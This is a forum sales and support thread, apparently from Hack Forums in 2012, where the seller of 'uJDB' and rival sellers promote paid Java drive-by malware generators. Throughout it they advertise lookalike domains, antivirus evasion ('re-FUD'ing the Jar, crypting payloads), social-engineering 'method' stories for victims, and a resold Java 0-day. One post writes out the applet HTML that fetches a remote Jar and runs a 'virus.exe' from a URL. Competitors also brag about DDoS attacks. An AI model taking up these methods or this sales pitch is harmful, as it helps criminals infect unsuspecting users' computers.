Updates

6-29-12

Code -Added a new domain! Choose 1 for primary, 2 for additional for "Host" when generating your applet.

-User Agent Grabber has been fixed and is working 100%.

-News page is fully functional, had to fix a bug with my posting methods. Forgot to rename a file when moving the paths, haha. :D

6-30-12

Code - Added an other domain! It can now be choosen as "Host" number [b]3[/b] when generating your drive by applet.

-Going to add a 4th domain in 12-24 hours, waiting for DNS to resolve so I can add it as an official host! It can be choosen as "Host" number 4 when generating your drive by applet.

-Made a Youtube video of uJDB the run through, can be viewed above in the thread. :D

-We added 5 new domains! They are as follows:

1 - ujdb.in

2 - img213-imageshack.com

3 - theelisblog.com

4 - mccallieshoutout.com

5 - mccalliefml.com

6-runescape-billing.com

-We started a "Method" page, with storys to social engineer your victims into downloading your virus. Located here: <http://www.ujdb.in/tips.php>

7-2-12

Code -uJDB has purchased a Network firewall: <http://www.zyxelguard.com/ZyWALL-USG50.asp>
Currently waiting for delivery (We ordered 2 days delivery), as soon as we get it we will set it up to our network.

-We plan on installing some software based firewalls as well on our server, and setting up some IP tables. Looking into getting some spare VPS's and using them as load balancers in case of attack. Currently we are saving up to purchase CloudFlare Business class as well.

-Our ISP is soon to be upgraded to Business Class speeds.

-We just purchased a 1Gbit CAT 6 Ethernet cable, should increase the speeds abit. Will install when network firewall arrives.

-We Re-FUD'd the Jar this morning.

-Going to update it so the Jar displays the URL of the domain chosen when the applet pops up for Java.

7-3-12

Code -Finalizing this build specifically for uJDB, should be done in 2-3 days and fully functional with new network firewalls & SSD's, etc.

More information & pictures: <https://hackforums.net/showthread.php?tid=2641043>

-Jar file has been Re-FUD'd. Currently 0 detection's, scan above has been updated.

-We started the referral system program. If you get 2 referrals under your name you can get 1 free license PER. All payments under an account referral under you will automatically add refer points to your count, giving you access to the uJDB Referral Point Shop. Members are free to sell a license ONLY if it is from the Referral point shop. Remember, 2 buyers = 1 free license for you. S

Simply tell them to register with your uJDB username!

-Read more about the referral system here: <https://hackforums.net/showthread.php?tid=2634712>
7-5-12

Code -Okay guys, their a new FUD Jar file, and this time it doesn't use VBS. This should give you some increased infection rates, so far by our tests it's improved drastically.

-Now that we have this issue settled, we can now worry about getting the site and servers online. Should be online by tomorrow most likely, Amazon said our stuff should come tomorrow afternoon so as soon as we get the stuff were going to configure it and put the site online immediately. Thread will be updated when site is online. :)

Code -Okay so all host values are working pretty good, looking to get a few new domains this week, open to any suggestions please. :)

-You now have the ability to upload your JDB to your own web server & domain if you choose. We offer full instruction in the .zip itself, please remember you have to input your uJDB username (paid account) in order for the execution to work.

7-29-12

Code - We are now moving to Weekly, Monthly, and Lifetime packages. At the moment Lifetime is only available, we expect Weekly and Monthly subscriptions to be available for purchase within 24 hours.

Thank you,
Richard Goodhart - uJDB Administrator

-We've added the ability to generate a .ZIP to upload to your own site.

-We've added the ability generate your link via uploading it with a direct link.

-You can upgrade your friends via the point store. Refer 2 paying member and receive 2 points, that's enough for a FREE uJDB upgrade for you or any of your friends!

Congratulations you know how to flood a port, well accomplished amigo.

Will be setting up DDOS Protection as well as some DDOS measures tomorrow. This should stop soon. Of course I'm not going to resort to the same childish behavior. I'm just going to continue my business.

Lol okay well sooner or later that Hack Forum's mentality will only take "them" so far.

Funny how kids with booters think their invincible. In the end, that shit hits them harder than a train. Just wait though...?

It costs like 20$, you could take a look into this. Soon everything will be fine, like a backup website and ddos++ protection. ?

Yes, it can be taken down by some booters but your site will be back up soon. It's worth the price .

Good Luck with sales :).

As I remember, your hosting was actually ddosed by Mystical for a few days and reported. You got shutdown same day. Don't suggest things that don't work sweetie ?.

Oh and you got another DDOS protection for $200. I believe it was also reported and taken down. I maybe wrong, but just what I heard.

Drspinkles101 - July 1, 2012, 10:29 am

<http://ddoshostingsolutions.com> is not that good of a site. I mean it will stop all the lil shell booter kids to stop hitting your site but if someone has DJ or a good DDoS bot it will only take about 650 to hit them. I use to buy them and turn the vps's into Vpn's and sell access so a syn flood on them 650 maybe less will take down the server without a problem.

Hey, don't tell them about the real tools that can do real damage. All of them actually believe people who ddos sites for a long period of time use booters ?.

Kind of odd how you claim "100% coded from scratch" when I've seen that exact website template in several places, I told.

Also, You WILL be at fault by hosting users files on your own server.

Might want to choose a different host it was offline before it even hit 400.

I'm sure a lot of things in this product are coded from scratch, but the majority is not. Telling by how the template is, I've seen it before as well. Also, seeing how the product GUI is setup, it seems as if the product was slapped together and put on the market. Honestly, I see no potential in this product due to the lack of understanding by the owner. Personal opinion and hate me if you will. Good luck with sales.

I'm simply warning users that its guaranteed you get shut down within days every time you setup a new server and will eventually run out of funds to buy a server to host with and shut down. From your TOS, You will issue no refunds. All users will be out of their money and you'll run off with your profit. If it were possible for AnonJDB to provide the support and uptime we do and have a lifetime price without it being outrageously priced..We would but its been proven to us many times we cannot do that.

EDIT: Your server is also located in the US which will cause many shut downs and many users will be at the risk of being arrested due to your idiotic mistakes.

First of all, your just sales trashing from your bias point of view. Your just embarrassing AnonJDB showing how unprofessional you guys are when you react with competition.

Second of all, who said were hosting with some company? At the moment, I have no worries of getting my server shut down due to me breaking my hosters TOS, considering I'm not hosting from any company lol.

Currently purchasing some hardware firewall for the server, and getting some software based firewalls also. Working on finding a DDOS mitigation specialist to add to the team. Also working on buying a DDOS mitigating router, and going to set up some IP Tables and a load balancers.

I don't care how hard you guys try, your not going to take uJDB out of business. Continue to sales trash with your invalid comments. Were not going to get shut down by any host, that's not the problem. The only problem we have are competition like you, doing childish DDOS attacks. But, that will soon not be a problem.

A few updates for today, a couple pending things but their soon to come.

7-2-12

Code -uJDB has purchased a Network firewall: <http://www.zyxelguard.com/ZyWALL-USG50.asp>
Currently waiting for delivery (We ordered 2 days delivery), as soon as we get it we will set it up to our network.

-We plan on installing some software based firewalls as well on our server, and setting up some IP tables. Looking into getting some spare VPS's and using them as load balancers in case of attack. Currently we are saving up to purchase CloudFlare Business class as well.

-Our ISP is soon to be upgraded to Business Class speeds.

-We just purchased a 1Gbit CAT 6 Ethernet cable, should increase the speeds abit. Will install when network firewall arrives.

-We Re-FUD'd the Jar this morning.

-Going to update it so the Jar displays the URL of the domain chosen when the applet pops up for Java.

Just wanted to let everyone know that this product is using an OLD method of Java Drive-Bys, which is drop a VBS script in temp and execute it with CMD. I believe this was actually used when I first began making Java Drive-Bys and this actually my source. I dropped the method to allow myself to please my customers. Plus, it just looks really bad on your part.

Java > VBS > Executable

This tactic is very old and no longer used due to the runtime of Antivirus.

Here is a scan of the winconfig.vbs script: http://scan4you.net/result.php?id=b8b6c_1qft3p

All your JAR file does is read the param given to it by applet code located within the HTML. This would be the reason why your Jar file is FUD, but it actually isn't FUD due to the fact antivirus can also read the HTML file during runtime and the .VBS script when it is dropped.

Scan of Jar File: http://scan4you.net/result.php?id=9b4b0_1qft53

Scan of HTML File: http://scan4you.net/result.php?id=11aa5_1qftns

Here is a screen shot of the code held within the HTML page. As you can see, it just writes a .vbs script to the tmp directory. I'm actually really disappointed.

Here is a source from WAY back in the day, this is actually mine from xJava.

As you can see, very similar. Mine was just contained in the Jar file ?.

Some of you may not know what language I'm speaking, but all together...

THIS PRODUCT IS NOT FUD!

Mr. Gotti - July 3, 2012, 3:43 pm

I'm sure your users are also happy knowing the fact your JDB at runtime is actually not even near fud, Meaning they will get a VERY low infection rate. Whether or not your panel shows loads 50% or more of them will not be legitimate loads.

Good luck with your business.

Ok from wat ive read from all the posts, seems like ur jdb uses the old vb script method. Why would u still use it? I mean this method would fail if the user has turned off his windows script host is disabled. And coding a jdb to use the download exec method using few basic api isnt that hard. Honestly it takes like 5-10 mins with the vast information available on the net these days.

So op i think u should consider upgrading ur jdb soon. Just expressing my opinion...

I mean this method would fail if the user has turned off his windows script host is disabled. And coding a jdb to use the download exec method using few basic api isnt that hard. Honestly it takes like 5-10 mins with the vast information available on the net these days.

So op i think u should consider upgrading ur jdb soon. Just expressing my opinion...

These are both updates were DEFINANTLY going to do, it's already been discussed and everything, and were sure were going to do it.

At the moment we are just waiting till our site/server stabilizes. Once we finish working this out, we can begin focusing a lot of uJDB updates, like we did the first couple days it started. :)

For the users who would like to uploads their virueses to their own webserver and infect computers with their own domain, we will be adding the capability of downloading our FUD Jar doing infections through your webserver. We have had many requests for this and those requests are being filled. Stay tuned for the download links to appear in the toolbar.

It's a technique that is still widely used by many people, especially people who lean more into Social Engineering & Human Manipulation.

If this isn't your preferred method of infection, you could simply use any other method. uJDB just makes the process for those who are interested in JDB's, a whole lot simpler and easier.

Oh, I'd love for you to explain this one. And explain these:

Unlimited JDB Links

Quick Execution

Unlimited JDB Links

-We give members of uJDB the option to generate as many links as they want, we do not have any limits on how much you can spread!

Quick Execution

-By "quick execution" we are referring to the execution time between the acceptance of Java and the execution of your selected file. A benefiting factor may be a specific "execution wait time" upon the building of the server, or file. By that I mean, if you built the server to execute 6 seconds after said file is executed.

Silent Execution

-Now we do use that term loosely, and I do plan on re-defining it in the future. But right now we are using it to describe that the execution of the file selected by the user will be downloaded in a somewhat silent manner, by not letting the computer on the other end know anything about what is being executed. Simply accept Java, which mostly every normal person would as they are either uneducated by JDB's or just are never hesitant about allowing Java.

Now this isn't to be confused with a Silent Java Drive By, as that is something totally different and requires specifically 0-day browser exploits, which can run in the hundreds, and sometimes even the thousands. Not to mention that said exploits can (and most likely will) eventually get patched. Not only will that be financially unsuitable, but it would most likely cause an overprice in uJDB. And that would only conflict our goal of providing a fair price & plan.

Yes it's our server's bandwidth and upload speed, were are fixing the issue right now. We are considering hosting all user files on a separate, and dedicated, external server. It was executing fine, so it wasn't the Jar, it was just the server that took so long to download because of the amount of resources being used.

For now I'm going to be replacing the Upload File feature with the feature to add the URL to your file's direct link.

We update our Jar's whenever it goes unFUD, which doesn't happen often but were always on top of it. We used novirusthanks.org to scan, if you have any other places you would like me to scan the Jar, please refer me and I will do a scan (please don't say Virus Total).

The applet will change the name depending on the domain you choose. If you generated the link using the uJDB domain, it will say uJDB. If you choose ReloadedPK.com it will say ReloadedPK, so on and so on. It's not really possible (at least I think) to change what the applet itself says as it is the traditional Java acceptance applet. But it wouldn't hurt to look into it. :)

I am a member of your crap product. Why would I give you my username? You'll just ban me. I mean, you wont even allow us to make our own settings for the JDB. Why? Cause you have no idea how to program. This is how your product works:

You have a pre-made Jar file sitting on the server as uJDB.jar.

When someone generates the "jar". It just uses uJDB.jar are the main Jar file and the settings are assigned to it through HTML.

For example:

I have <http://mywebsite.com/virus.exe>, well I put it in the generator and it makes this:

<applet width='0px' height='0px' code='uJDB.class' archive='http://www.ujdb.in/uJDB.jar'><PARAM NAME=virus VALUE=http://mywebsite.com/virus.exe"></applet>

Now when someone loads the site it will grab the jar file from your hosting and the jar file will read the values given to it. Thus, your customers are not actually using a unique jar file, but just using a universal one given to them by the server. This also causes heavy load on your server, making it at higher chance of not even working if your server goes down. Also, you have customers using your hosting to host their viruses. Now you even have more load on it.

Your methods are stupid and you try to hide it, but I mean we all know. You can't fool all of us into believing. And to answer the customer's question on why you can't change the name to "Youtube", that is the reason. He is actually not generating the jar for you, he's just using a universal one that is compiled and set on the server.

Any questions?

??s?? - July 11, 2012, 2:06 pm

Okay so I'm using a universal .Jar file, I assume you would want that changed? Because as far as I see, I haven't had one person recommend it to me, assuming that everything is working fine (which it has been).

And no, I won't ban you because of that, because I'm clearly not 12 like yourself. I was asking for your username so I can verify you as a customer with legitimate and valid feedback. Other wise I'm going to be reporting you to a staff member for Sales Trashing. :)

Your file will be executed upon the user accepting Java on their system. And with Java being such a well known, well used, and well trusted software, most people will just click accept Java without giving it a second thought.

We also provide multiple tools for management, pre-management, and side tools to make your job easier.

The execution itself will be FUD, but we don't encrypt the file you upload. So it's not really necessary to crypt your server before spreading, but to be safe I would, as it would make your installs last longer.

The real questions are :

Is the JAR file FUD even unpacked?

How long is it usually FUD?

Do you have support team continuously working on it to ReFUD it quickly when it goes UD?

Yes.

Can't really put a time frame on usual un-FUD'ing, but in the case that it does go FUD, we re-FUD it right away.

Yes, 2 other people and I are always waiting to re-FUD the .JAR when the time comes. So far we've been good. :)

That's dependent on your spreading, uJDB doesn't do spreading for you.

No, it's up, lol.

(Jul 14, 2012 03:16 AM)Nyne Wrote: [\[CITE\]](#) Well it was picked up by MBAW just now
Was the .Jar picked up by Malware Bytes, or was your executable picked up by Malware Bytes?
Keep in mind, we don't crypt your files you upload, so even though execution can go swift, it's what happens after the file is on the persons computer that is dependent on your file being crypted or not.

Which is why I suggest people crypt their servers before uploading. Even though it's not necessary, it is recommended.

On Sunday we will be configuring the Network Firewall and hosting all the user uploads on a external, (offshore), dedicated server so the speeds you see now will be optimized by at least x8. We will also be looking into purchasing a Solid State Drive for our server, which should also speed things up site wise.

Until then, everything should work just fine and normal, just not as good as it will this upcoming Sunday, so stay tuned members of uJDB. :)

I don't see how uJDB can hide you, nor do I see how it can expose you. The only thing I could think of linking to you is the actual file that you choose to upload and execute. If in the case someone decides to decompile your file, they can find the origin of the file creator. And with that being said, their is no possible way uJDB can help you with that.

Other than that, I don't see what you would need a VPN for.

Site is back up, we had a 5 minute downtime because we were configuring our new Network firewall. Speeds should be better than ever, and we now have a few new functions to help make uJDB better in many ways. Thank you all for the patience, enjoy.

Update: We plan on moving all the User Uploaded files to an external offshore server soon this week to make the download speeds of your files a lot faster and to put less stress on the mother node. All in all, it will show as a great improvement when done. :)

We currently offer the host value ReloadedPK.com to all our RSPS method fans. And many other of course. :)

Our host values grow as uJDB grows. :)

If your server is working correctly and the person allows Java, it's almost guaranteed it will execute. The code doesn't fail, it's always going to execute at a certain time. If the person doesn't allow Java then that's an other story. :P

(Jul 30, 2012 04:49 PM)Betelguese Wrote: [\[CITE\]](#) So if i clone facebook.com the java applet will say "facebook.com" when they go to click it? And not "unknown"

No, its the Host Value/Domain, not the site you clone.

To make "Publisher" not say unknown will be way to hard as that would require the applet the be certified by a CA (i.e. Verisign/Thawte), and considering the Jar is changed a lot since we need to Re-FUD it, that's very unlikely. Not to mention it costs a lot of money to get it certified, but uJDB is way to illegal in order to receive a certified approval.

Product looks awesome but upon tracing the host and looking at the host details i have some questions before purchasing.

1. How can it be hosting in Tennessee without being shutdown?
2. Doesn't comcast have a no webserver policy?
3. Doesn't it break comcasts clean ip pool policy?
4. Couldn't the feds sieze the server?
5. Are the viruses hosted on the same server?

6. What happens if the feds do sieze the server does it have our IP's on it etc?
7. What happens when everyone has lifetime packages and you can't afford server?
8. What happens during SQL Inject do you keep backups?
9. last but not least do you accept diablo gold?

People need to look harder when they look at stuff networking wise, we thought of this kind of stuff before we even opened. We knew what people were going to do, and what they were going to go into. I'm not going to say what our security measures are, just know that you don't need to worry about it being hosted on "Comcast".

We don't need to worry about not paying our server, as we own the actual node, physically. Were not paying some third party company and relying on them. We also manage the network as well.

We have legal agreements to where we do not hand over our customers information as we do not keep logs of that, due to it violating our privacy policy. For all we know, we only know your username and your email, and we still wont give that up without a legal fight.

We keep private Mysql database backups, and site backups in case of anything yes. But we are also protected with many layers of defense. Our network firewall alone has an Intrusion Detection Prevention system which will help automatically fight against any types of attacks made on the server(s).

The user uploads are hosted on an entirely private and dedicated node offshore. We do not manage this, but we do keep backups of user uploads in case of any issue happening, or if we needed to mitigate it elsewhere for any reason. The node is dedicated to ONLY the user uploads, ensuring quick download and upload speed, as well as privacy.

And no, we do not accept Diablo gold. You may sell it here on Hack Forum's in exchange for real money though. :)

I'm having so many issues with this generator. I'm hoping this is just user error.

First off, I can't clone a Photobucket image, so the host value "6" it kind of useless unless i'm doing it wrong. Also I uploaded my crypted server, and when tested on myself, it works just fine, but after I generate a site with it, it doesn't work when I click "Run".

Now I tried no cloning on host value "10", and the applet doesn't even come up. Can anybody help me with this? Thanks in advance.

EDIT After reading through the pages, I notice other people were having the same problem I have, and that you were able to help them in PM Excuse. Once you come online and are able to help me, i'd be more than happy to turn this post into a vouch, instead of a support help, it's just I'd like to be helped ASAP, so if anybody can help me before you come online, this is how they'd find me.

Should be working now. We plan on putting some backup's on our SSD's, since for some reason their was an issue with the Jar or something, but were fixing it. So far it hasn't affected much people, just 1/10 if not less. (is it possible to be less than one person? lol).

DarkWraithh - August 2, 2012, 6:58 pm

It's still not working, and since you're not responding to Skype, i'm posting on the thread. The site is down.

Thee Ryder - August 2, 2012, 7:11 pm

How long is the site going to be down or is it down for good?

??s?? - August 2, 2012, 7:26 pm

I don't see the need for me to keep saying this, but we are performing maintenance on our network firewall, we think it was cuasing some issues with people downloading, etc. Were currently mitigating IP Addresses and see if we can change some stuff with our DNS.

We will be back up soon, don't worry.

Monkry - August 2, 2012, 8:11 pm

Ok but exactly how long of a downtime are you expecting?

??s?? - August 2, 2012, 8:36 pm

(Aug 2, 2012 08:11 PM)M????? Wrote: [\[CITE\]](#) Ok but exactly how long of a downtime are you expecting?

We should be up and running like any other day by tomorrow.

If you have the ability to upload your JDB to your site, you can utilize your JDB, this downtime mostly affects the people who are hosting their JDB's on us. As this happens rarely, theirs nothing to worry about. Just a few work on the network firewall.

Now please top asking the same question people, lol. ?

Contrive - August 3, 2012, 12:17 pm

Yeah the issue has been solved and everything is fixed. We're just waiting on the ISP to fix their problems. Apparently their was a bad thunderstorm and they currently have the pyrotechnicians working on getting everyone on their networks back online, including uJDB.

Yes, as soon as you upload it will appear below in the "Manage Uploads" section as your file name. Their you will be able to generate a link, and so on...

And yes we have an IP Grabber, it's called the User Agent grabber.

Well, since the developer isn't going to post it on his own thread, I'll post it here for him. I just got a message from him through PayPal saying the new site for uJDB is "<http://ijdbg.com/login.php>"

However, since he didn't post it here I don't know if he got hacked and that's just a phishing site, or he is just legitimately brain damaged and forgot about this post and his customers.

I got the message after he declined my PayPal dispute, here's the message. I have not tried the site yet.

EDIT: I would like to add that I have been using the site and it does seem legitimate, which means Excuse is simply brain damaged. However all the domains are still blocked. Most of the functions are not working as well. The Client.jar is available for download if you hit F5 on the "download ZIP" page about 300-500 times. So it's broken? That's what i've gathered.

qazx - August 20, 2012, 3:20 pm

Yes it's broken, and Excuse has canceled my PayPal refund and refuses to talk to anyone.

I'm giving him 24 hours for a chance on a refund before I launch Operation: Shitstorm in his face.

Postpone the official announcement until tomorrow most likely as we have just worked something out that will benefit everyone.

uJDB will not be down permanently, and will come back up. I will soon to be no longer affiliated with uJDB, but a member that is well known here will soon have the reigns to uJDB. All current members will be as is, and product will continue as normal.

More will be explained in the official announcement. A little bit, I ran into some legal issues and can not continue with uJDB myself. But I would hate to let uJDB die so I'm handing it off to someone(who will be revealed soon) to run the product better than ever.

Stay frosty. ?

I am refraining from publicly discussing anymore of the issue as I wouldn't want to say anything self incriminating that may harm in me the court of law. And I hope everyone can please honor my request to not ask me much about what happened, as I will not tell anyone.

$20 for 6 months (Foxy) vs $25 for lifetime (uJDB) or $10 for monthly (uJDB).

$10 (uJDB) * 6 months = $60 total vs $20 for 6 months

$25 for lifetime means the lifetime of the product. Which means, since Excuse ended the project, your money is now his ????. Doing math is so lovely ?.

Reason why uJDB got in "legal trouble" was I believe for their servers being hosted from Excuse's house, in the United States. Problem was, Excuse was actually hosting the malware on his servers. Since I don't host my servers, I'd probably just get a take-down noticed and be forced to change hosting. Which would mean at max 1 day of downtime and the downtime doesn't effect the JDB's functionality. FoxxyJava has been with the same hosting for over a year and I've gotten letters from malware researchers and even ESET wrote a blog post about me, yet nothing happened ?.

(Sep 3, 2012 01:29 PM)Illuminatus™ Wrote: [\[CITE\]](#) I've been getting a lot of people (potential customers) complaining about the pricing of the Silent ($50). Why? I'm actually really not sure myself, but a lot are. I just wanted to make an announcement that you're not just paying for the Silent. You're investing into the long run. If you ask any current customer or longtime customer of FoxyJava, they'll tell you that Illuminatus™ keeps the updates and features rolling in.

If you look at the Basic package, it was a 3 month license package with the same features. I've ed that back up to a 6 month license for the reason of Dora, an old-time customer. I've also added many features to the Basic Package that were going to be taken out, but have been left alone. Now we have a new package, which includes the Silent and much more that you don't see just yet.

A few months ago I was talking about the next 3 blackout features that were going to be added to the Professional Package, but as time moved on it didn't get done. Now, it will get done and the 3 blackout features will be pushed into the Professional Package. In order to get the 3 blackout features, you need these requirements:

- FoxyJava Basic
- Silent

Those two will make up the Professional Package. A lot of you are asking what the fuck are the 3 blackout features? Well, they're going to be making the Traditional Java Applet look stupid and that is the goal I'm trying to achieve. The 3 blackout features will allow you to not have to actually upload your program. This means, you don't have to worry about Dropbox deleting your files or scanning your files or even needing hosting for your program. All 3 of them will give you much more freedom with your program. Of course, that is not all that the 3 blackout features offer! You'll have to see what more they can offer when they're released.

They'll be released in the middle of the month. In order to complete all three of them, I need to retrieve the files from my Desktop that will allow me to complete the project. When they're released, it will automatically be assigned to your account. Really hope everyone is excited about these features, since I know a lot of you understand the power of them.

As of right now, I'll be working on combining the Silent and Traditional into one unit. This will allow you to have an even higher infection rate. Please know this will only be available to individuals who have purchase the Silent feature. I'll also be adding in a Shop that will allow you to purchase upgrades and even more features.

Why all the features and upgrades? Well, if you must know I'll be putting an automatic payment system in that will allow people to automatically purchase FoxyJava and will allow me to devote more time to the product itself. I'll also be putting up a ticket system and starting up a support team with well-known individuals of Hack Forums. Enjoy and good luck spreading!

Sorry, I get tired of having to like repeat myself.

(Aug 29, 2012 12:52 AM)Illuminatus™ Wrote: [\[CITE\]](#) 1. 0-day is public, but has been modified to be more persistent and fit the Foxy Software expectations. Which in English means, I recoded it to do the job faster and more efficient.

3. Takes longer than a few seconds.

4. Has all the feature FoxyJava basic has + more.

5. You don't have to spend the time re-fudding it yourself.

6. You get more features and upgrades than doing it yourself.

Listen, regular JDB is public as well. Yet people still buy the generator to make their life easier. I'm serving a service to make people's lives easier and get their job done faster. You/your parents buy food to make their life easier, instead of growing it themselves. Also, most exploit packs use public exploits, such as Black Hole. Why do people buy it? Well, it is for the reason of them not wanting to go through all the trouble of doing it themselves or have the money.

Plus, I don't obfuscate my code. I code it from 100% scratch and release it. I keep the quality there, I don't take shortcuts. Which is why FoxyJava has the reputation it does and popularity it does. I've done my research and know how to run this operation, which is why I've been here longer than any other Java Applet generator. How do I keep it going? I keep it high quality, keep the features rolling, and release updates. Many people think it is easy, but it isn't. Look at uJDB, Anon JDB, Sparky. uJDB got shutdown due to legal issues, Anon JDB got hacked, and Sparky just died. Plus Anon JDB uses stupid methods for encrypting, uJDB doesn't even generate the Jar, they just use a universal Jar. If you have a problem, please just get the fuck off the thread as I've already proven myself ?.

(Aug 30, 2012 06:57 PM)Spikeye Wrote: [\[CITE\]](#) Please don't disrespect Illuminatus.

He has worked hard on creating FoxyJava and is a very talented coder. To be able to take an exploit that was publicly released on August 27th and make it FUD and easily usable by everyone is a great accomplishment. Its not his fault that Oracle released a patch today on August 30th.

1.) A study found that the majority of internet users (over 60%) don't update their java for at least 18 months.

2.) The new patch Java 7 Update 7 is incompatible with a lot of services and websites.

3.) The exploit is relatively new. Even java exploits that are almost 6 months old still have a very high infection rate.

Regards,

We try to compile our FUD Jars with the lowest possible Java level, keeping it balanced with multi-platform support and multi-version support. It tends not to be a problem with uJDB, but we offer tools to give the ability to see a bit more about your specific target(s), also known as the User Agent Grabber, which is currently being constructed. We took it off for a bit while we work on it. :P

And for FoxyJava, I would have to say is a completely different product at this point. None the less, I respect Illuminatus and would prefer to not talk about his product in any type of comparison, etc.

Also, quick update to all uJDB members. We are currently working on the password change system, and with that will come the ability to add a Security Question. Still deciding weather I will make it mandatory to set one next time on login, or just make it optional. Will keep you guys updated on it though! :D

Yes you will. The java applet is the only thing that is FUD. It doesn't make your virus FUD.

Thank you.

Silent Java Drive-By's require 0-Day exploits which are semi-hard to find, but not to mention extremely expensive. Like in the 500-2000+, and they expire in a few weeks if not a few days.

That wouldn't be cost efficient or software efficient for either you or me, and doing so would make me have to purchase 0-Days on a weekly basis and over price uJDB in the hundreds for a license.

So no, this isn't a Silent Java Drive By.

At the moment we are going to work on getting some more mitigation defenses as the attack is burning through the network firewall we have up at the moment, that attack that is being carried out is strong and advanced. Here is a video to show how hard were getting hit:

[Video: <http://www.youtube.com/watch?v=hWUxiWtOkoY&feature=plcp>]

Eventually our firewall will black list the IP's they are attacking with and the attack should eventually stop. At the moment we cfan only mitigate by tunneling through an other one of our dedi's that we set up to work as a reverse proxy.

We were up and running fine, uJDB has been getting attacked extremely hard and what seems like a long time. We've started experiencing these attacks last Tuesday, and I've tried mitigating it but as soon as I get it up for a second it comes back stronger with a new set of servers/bots. That's still being debated upon my partner and I, I personally don't think it would work out if we accepted all previous members, as we are opening this as a new project, not uJDB anymore. Not to mention this was from last year, and I no longer have access to the Paypal account with all the payments to verify who was an old member or not.

I'll get flamed for it, but I'm not the only one who has done that. Just look at the stresser section once and a while, it happens all the time. Accept I personally can see this as being understandable, it's a new product being reopened from almost a year old project. :P
